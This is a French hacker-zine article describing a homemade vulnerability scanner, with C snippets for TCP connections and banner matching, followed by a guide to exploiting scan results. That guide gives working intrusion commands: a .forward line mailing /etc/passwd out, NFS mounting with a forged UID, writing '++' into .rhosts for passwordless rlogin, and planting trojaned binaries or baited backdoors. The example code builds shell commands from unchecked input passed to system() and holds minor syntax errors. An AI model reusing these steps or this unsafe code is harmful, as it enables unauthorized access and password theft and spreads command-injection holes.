                          ________________________________
                         | Scan Vulnerabilites By Lionel |
                         |________________________________|



I)-Intro
--------

J'ecris ce texte pour que vous puissiez mieux comprendre se que fais le scan
que j'ai cod et une autre possibilite est que vous vous en codiez un vous
aussi ou "add" d'autres vulnerabilites...
Je n'ais pas code ce tools pour tous les chtits Warlords et autres tappettes
dans le style...
Il est fait pour verifier sa securite ou pour des testes de securits "legal".
J'ai voulu faire une nouvelle generation de scan vuln, une qui se contente pas
de regard la version du deamon , mais qui vas directement tester des
commandes qui pourraient etre atteint d'un buffer overflows, se qui fait que
tu peut tres bien grace a ce code decouvrire de nouveaux buffers overflows que
personne connait ou bien trouv des buffers overflows deja "identifis".
En tous cas moi j'ai trouv pas mal de buffer overflows qui sont pas sur
bugtraq ;) !!(voir ADVISORY OrganiKs ... )

II)-code
--------
Il doit etre dans /organiks2/prog/scan.tar.gz ...
La version du Scan donne ici est la ver1.0 , la premiere que j'ai cod,
c'est pour ca que le code est pas nikel , j'ai fini la ver2.0 mais pour le
moemnt est reste prive pour verifier son efficasite, qui pour le moment me
pareit exelente :o) ! Dans la ver2.0 j'ai amelior le code , j'ai add de
nouvelle vuln, avec des recherches de buffer overflows sur commande bien plus
efficasse!Bref a voir dans le n3 :)

III)-Comment il marche?
-----------------------

J'ai fais le scan sur un concepte majeur qui est de faire le plus simple
possible pour s'y retrouver facilement avec des instructions simples.
(on me dit toujours que mes codes sont trop mal cods et qui sont cod a la
chelou , enfin ...J'espere que vous comprendr quand meme!).
Voila la base du code (c'est sur cela que repose pratiquement tous mon scan):

**1-Ceci ouvre une connection (syntaxe:connect_tcp(host,port);)

/* connection tcp usage: host port */

int connect_tcp(struct in_addr addr,unsigned short port)
{
struct sockaddr_in serv;
int thesock,flags;

thesock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bzero(&serv,sizeof(serv));
memcpy(&serv.sin_addr,&addr,sizeof(struct in_addr));
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if (connect(thesock,(struct sockaddr *)&serv,sizeof(serv)) < 0)
  return(-1);
else
  return(thesock);
}

**2-Pour ecrire dans la connection ouverte grace  "connect_tcp"
(syntaxe: fdprintf(connect_tcp,"message\n");

/* ecrit dans une connection */

int fdprintf(int dafd,char *fmt,...)
{
char mybuffer[4096];
va_list va;

va_start(va,fmt);
vsnprintf(mybuffer,4096,fmt,va);
write(dafd,mybuffer,strlen(mybuffer));
va_end(va);
return(1);
}

**3-Pour un appel d'une commande

char exem[1024]; /* on donne une valeur de buffer a "exem" qui est de "1024"
*/ 
strcpy(exem, "commande argument"); /* on inscrit "commande argument" dans
"exem" */
strcat(exem,"argument2"); /* on ajoute "argument2" a la suite de "cmd arg1"
dans "exem" */
system(exem); /* execute "exem" qui contient "commande argument
argument2" */ 

Sinon un exemple plus "visible"("xterm -display ip:0"  sachant que l'ip sera
defini par argv[1] ):
char exem[512];
strcpy(exem, "xterm -display ");
strcat(exem,argv[1]);
strcat(exem,":0");
system(exem);

Si vous etes **** alors il vous reste une solution: "man strcpy;man strcat;man
system" ;)
PS: pour pas utilisier 300000 de buffer faite bzero(exem,sizeof(exem)); ce qui
remet le buffer  zero !(je sais que dans la ver1.0 y en a plein ca ete
corrig dans la ver 2.0!)
**4-La reconnaissance de version de service:
-1ere partie:
struct n0m {
  char *name;
};
struct n0m n0m[]={
			{"version"}, 
			{"version2"}, 
			{"version3"}, /* ... */
			{NULL}
                     };
2eme partie:
char buffer[1024];
int n=0;
n=read(sockfd,recvbuf,1024); /* fonction read comme ce que ca veus dire il lit
donc read(connect_tcp,buffer,sizeof(buffer)) */

if (n <= 0) { /* si n est = ou inferieur  0 connection a ete ferm ou alors
il n'y a meme pas eu de connection? */
fprintf(stderr,"Connection ferm sur imapd\n"); 
}
for (i=0;;i++)
{
  if (types[i].name==NULL) 
  {
    i=0;
    break;
  }
  if (strstr(recvbuf,types[i].name)) /* il regarde si dans le buffer y a une
chaine de caractere qui ressemble a une de nos version .. */     
break;
}
if (i == 0) { /* i == 0 alors ca veus dire qu'il a pas trouv de version dans
buffer */
printf("version non trouv dans buffer \n");
}
if (i == 1) { /* i == a version */
printf("version trouv sur host port\n");
} 
if (i == 2) { /* i == a version 2 */
printf("version2 trouv sur host port\n");
} 
if (i == 3} { /* i == a version 3 */
printf("version3 trouv sur host port\n");
} 
 
Sinon pour savoir si un buffer overflow a march suffie de demand si la
connection est ferm ou encore ouverte...(j'espere que tu es pas idiot)!
Vous pourrez peut etre ameliorer le code aussi car quand je demande si
connection < 0 (si ca repond -1 ben c'est que le port est pas ouvert) donc
au lieu de refaire connection > 0 (1 si le port est ouvert[binaire du con]).
/* 
C'est un peut plus compliqu que ca mais deja c'est la base:
1=oui
-1=non 
*/
Tu fais if connection < 0 {exit} else {[ici connection good]instruction)}.
Je sais je l'ais pas fait mais je compte le faire car ca feras moins de code..

J'espere que vous aurrez pig car c'est tous bete mais j'explique tres mal.
(meme mon prof d'electronique ne comprend pas ce que je fais j'embroulle tjrs
mais les resultat sont bon ces ce qui compte!!Moi je trouve que je fais
le plus simple du monde mais on ma dit que c'est le contraire...) 
Bon je pensse que j'ai rien oubli pour les bases vous possdez tous pour
faire votre propre scan vuln maintenent!!!!

IV)-Recherche de troue par le scan
----------------------------------

J'ai voulu developer l'ide d'un scan vuln qui ne sert pas qu'a chercher des
bugs deja connu de tous, j'ai voulu altern la possibiliter de verifier la
version (si elle est connu pour etre bugg) et de tester directement les
commandes dites semsible (en particuli pour les buffer overflows).
Biensur je n'ais surement pas explor tous se qui pourrais etre semsible...
De toute facon il n'y a pas que les buffer overflows qui faudrais exploiter
dans ce genre de scan , j'espere pourvoir ameliorer se scan en ajoutant
d'autre teste de secu plus pouss...

V)-Comment employer les resultats donns par le scan
----------------------------------------------------

Je vais essay de vous expliquez comment utiliser les informations donn par
le scanneur dans un but de teste d'intrusion "legal" (no piratage here)!
Deja je vais commencer sur un truc simple pour tous se qui est teste de buffer
overflows si ils sont concluants alors il vous suffie de regarder la version
du service vulnerable , verifier qu'un exploit na pas deja ete ecrie et si ca
n'est pas le cas alors a vous de jouez et de coder votre exploit et si vous
etes malin vous pourriez coder un patch (temps cas faire)!Biensur serais la
bienvenue aussi un ptit post dans bugtraq(ou autre) pour montrer que vous etes
pas un chien et que vous pouvez faire partager votre connaissance pour un monde
meilleur(Puta** de me*d*)!
Apres sinon pour utiliser les autre informations(dans l'ordre de scannage):

-FTP -> Bon je vais pas vous parlez des /etc/passwd ou core a exploiter car
j'espere que vous connaissez...Mais d'une autre chose, imaginons qui a un
moyen d'ecrire dans un rep (type "incoming" pour pas le nomer), alors on peut
essay de foutre un backdoor compil ou non compil avec un nom alechant pour
les utilisateurs ou le root lui meme (la ou peut servire de connaitre le
couri de ta victime!), si il est assez bete pour l'executer ta gagn!
Sinon si on peut ecrire dans le rep .Si on arrive a degot un access L:ftp
P:toi_qui_ vois alors on peut se connecter et envoier un .forward 
"echo "|/bin/mail ton@email.fr < /etc/passwd" >> .forward  " qui te renvera le
fichier passwd  des que tu vas lui ecrire une email a ftp@ip ...

-SENDMAIL -> si expn repond c'est good car grace a c'est information qui donne
ou vas etre renvoi les emails que cette cherche personne va recevoir
(j'espere que vous avez compris en quoi cela pourrais aider un hackeur  vous
pirater...).Pour les qi trop bas j'explique un peu , si vous savez ou va etre
redirig le courier d'une personne et que cette adresse ou il va etre redirig
a un bas niveau de secu ou si il y a moyen la bas d'avoir plus facilement
access a son courriez alors peut etre en lisant son couriez vous pourrez
apprendre des choses interessante pour votre but que je vous rappelle est un
teste d'intrusion "legal"!(j'espere que je me suis pas trop embroull la...)

-TELNET -> Pour avoir des infos du systeme "cible" qui seront de tres grand
utilites ...(sorry je sais que la version du systeme est defectuseuse nous
allons dire..., mais si vous voyez que c'est ouvert ben telnet ip ALORS ME
FAIT PAS CHIER! ;) ...) 

-RSH -> Si ce service est ouvert alors il peut peut-etre nous aider car si il
y a un "++" dans rhost d'un user ou du root => access sans passwd!!Il y a
aussi autre chose c'est une identification via host donc si ta la bonne host
tu passe (pig? grrrrrrrr => sp00f ...)

-Xwin -> je vais souler les mecs qui connaisse deja tous ces pbs mais bon ...
Pour savoir comment exploiter se troue possible lire xhost.txt dans organiks2
ou alors pour les tachons j'explique un peut vous allez me dire que dans ce
texte on explique comment avoir un mec sur irc grace a son xwin mais tu peut
aussi via un site suffie de trouver un user un peu bete et de faire un peu de
SE... (tu me suis je vais pas quand meme te faire un dessin!)

-FINGER -> Tres utilie pour avoir des infos sur le root ou un user
possiblement utilisable pour notre entre fracasante ;)

-NFS -> Bon pour se qui serais pas au courant grace a NFS il y a
defois possibilite de toucher a des fichiers partag ...
Bon j'explique un peu malgr que ca sois tres connu:
showmount -e ip -> grace a ca ta tous les fichiers partag avec les access
demand pour y touch!
Donc si il y a des fichiers qui peuve etre touch par "(everyone)"
On mount: mount victim.com:/file/ /
On voit que apres y a access a un rep de l'utilisateur -> "toto"
1 drwx--x--x  8 1055  daemon       1024 AAA  17 00:00 toto
On vois ca alors on add un user toto dans notre passwd :
echo toto::1055:1:AAAAA:/: >> /etc/passwd
apres un chtit su toto (la on est encore en mount...)
Et la on foue un "++" dans le rhost 
echo "++" >> toto/.rhosts
Voila now:
rlogin ip -l toto
(c'est pas ca? ;)
Tu trouve ca dur? Ben ta tord :)
Apres une autre solution si il n'y a pas d'user mais si disons qu'il exporte
des commandes ou un truc dans le style , tu peus faire un trojan , pour pas
que ca sois flague vaus mieux faire un trojan "malin" qui vas executer la cmd
d'origine et en + notre commande rajoute!(j'espere que ta pig?).Ou alors y a
un truc trop bete a faire qui peut marcher si tu tombe sur un abruti tu laisse
un backdoor compil avec un nom qui plait donc si y en a un qui l'execute pour
voir ,"tu le ...,il la dans l'os quoi" ;) 

-IRC -> il a un ftp genial! A quoi ca peut bien servire?Peut etre a t'il un
serveur bug ou peut etre peut on avoir un access IRCOP facilement? Ou peut
etre a t'il mis un eggdrop et si tu arrive a avoir un access assez au tu peus
envoier une commande (style /do exec cmd je suis pas sur de la commande ;)).
Ou alors si ca se trouve il y aurras un user aurras le SUPER BITCHX ou un
autre client qui quand il est mal config accepte automatiquement les dcc (mais
a quoi ca peut servire?) imagine => /dcc send victime ~/.rhost /* qui contient
"++" */ et voila le fait pas quand il est devant son irc quand meme!

-CGI -> je te fais pas un dessin ...

-host -l -v -t any,dig,traceroute -> ca peut etre des bonnes infos pour des
attaques via spoofing ou pour rechercher un cible avec un plus bas niveau de
secu pour apres revenir sur lui par un reseaux local...

-TCP SEQ -> c'est pour des attack via hijack ....

-NFS -> Si nfs est ouvert il exsite un buffer overflow connu et qui a mon avie
marche sur toute les versions , je voudrais l'add dans mon scan mais le pb
c'est pour savoir quelle directory mount puis comment savoir si ca pet!Mais
je vais trouver!!!!Bon pour en revenir au bug , il suffit de faire une long
directory AxX/AxX x X -> puis quand tu veus la rm -rf A[tab] ca produit le
buffer overflows.Biensur ce bug a ete patch mais je suis sur que y a pas que
rm -rf qui produit cela suffit de chercher et je suis sur que tu troue... :)
/*
A=A
X=nombre non connu
x=multiplier
/=barre (ex: /home/lionel/)
*/

-MOUNTD -> le bug de mountd est en faite quand tu mount si tu mais une
directory trop grand , tu produit un buffer overflows dans les logs...
J'ai regard les codes sources de mountd sur la rh6.1 et apparament y a plus
moyen de faire un truc comme ca :(

-AMD -> le buffer overflow de AMD est la demande d'une trop grosse map je
crois que un patch exsite mais pour le moment toutes les version jusqu'a la
6.1 sont vuln :) !!!

-... prochaine version du texte pour la ver2.0 qui a bcps plus de "moyen"!

Je pensse que j'ai rien oubli....
Good test of intrusion!
PS:Pour nis y a des tools interessant que j'aurrais voulu ajout au scan mais
j'ai un pb de compilation, les codes s'appelles: ypsnarf.c ,ypbreak.c ...

PS: j'ai amelior le code donc regard..
VI)-Conclusion
--------------
Toutes informations peuvent servir c'est a cause de negligence si petite sois
t'elle qu'y a pratiquement toujours un moyen d'arriver a son but!(ta pas pig
se que j'ai dis , ben moi j'ais pas tous compris aussi ;)
PS: avec la ver2.0 j'ai scann plusieur site et 2/3 sont vulnerables a une
attack ...

VII-)Greetz
-----------

To: clemm, spoty , ank , tiffa, shado, klog, XSFX, Datahck, OrganiKs,[fred],
Mayhem, rix, exile , chx , prfalken , togusa , einstein , #toulouse, #r9,
#rhino9,madchat(#madchat->undernet),Darkbug,#linux-fr(ircnet),#oracle(efnet),
torcy&marcx dormoy&18eme (Ali k.,Xav,Olivier,Mathieux,Mmet,Arnauld,Camel,...),
cantepeau(sophie,ced,youness,seb,la shente,bouboule,ouadgerie, ...),
 toulouse(Gui.,florian,Lionel,JM,Dav,Vincent,Bruno,yohan,seb,cyril,
damien,jenny&virginie,stef&julie...).......Et tous ce que j'oublie...



